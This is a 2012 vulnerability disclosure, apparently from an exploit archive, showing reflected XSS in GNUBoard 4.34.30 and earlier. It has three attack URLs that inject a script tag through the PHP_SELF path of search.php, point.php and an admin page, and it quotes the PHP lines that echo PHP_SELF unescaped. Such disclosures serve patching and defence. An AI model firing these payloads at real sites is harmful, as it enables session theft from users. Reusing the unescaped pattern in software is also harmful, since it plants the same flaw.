# Exploit Title: GNUBoard <= 4.34.30 Cross Site Scripting vulnerabilities
# Date: 2012-06-13
# Author: wh1ant
# Software Link: http://sir.co.kr/bbs/board.php?bo_table=g4_pds&wr_id=7538
# Version: gnuboard <= 4.34.30
# Tested on: ubuntu linux 11.04 server (VMware)
GNUBoard is a widely used open source bulletin board in Korea
In this article, i will show XSS attacks using the PHP_SELF environment variable
first case:
normal
http://127.0.0.1/gnuboard2/bbs/search.php?sfl=wr_subject||wr_content&sop=and&stx=a&x=43&y=11
attack
http://127.0.0.1/gnuboard2/bbs/search.php/'><script>alert("XSS")</script>?srows=10&gr_id=&sfl=wr_subject%7C%7Cwr_content&stx=a&sop=and
second case:
normal
http://127.0.0.1/gnuboard2/bbs/point.php?&page=2&page=1
attack (need next page for attack)
http://127.0.0.1/gnuboard2/bbs/point.php/'><script>alert("XSS")</script>?&page=2&page=1
third case:
normal
http://127.0.0.1/gnuboard2/adm/auth_list.php (admin page)
attack
http://127.0.0.1/gnuboard2/adm/auth_list.php/'><script>alert("XSS")</script>
vulnerabilities code
### bbs/search.php ###################################################################################################################################
...
$str_board_list .= "<li><a href='$_SERVER[PHP_SELF]?$search_query&gr_id=$gr_id&onetable={$g4_search[tables][$i]}'>$row2[bo_subject]</a> ($row[cnt])";
...
### lib/common.lib.php ###############################################################################################################################
...
return "<a href='$_SERVER[PHP_SELF]?$query_string&$q1&$q2&sfl=$sfl&stx=$stx&page=$page'>";
...
### adm/auth_list.php ################################################################################################################################
...
$listall = "<a href='$_SERVER[PHP_SELF]' class=tt>first</a>";
...
######################################################################################################################################################
# 0day.today [2018-01-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation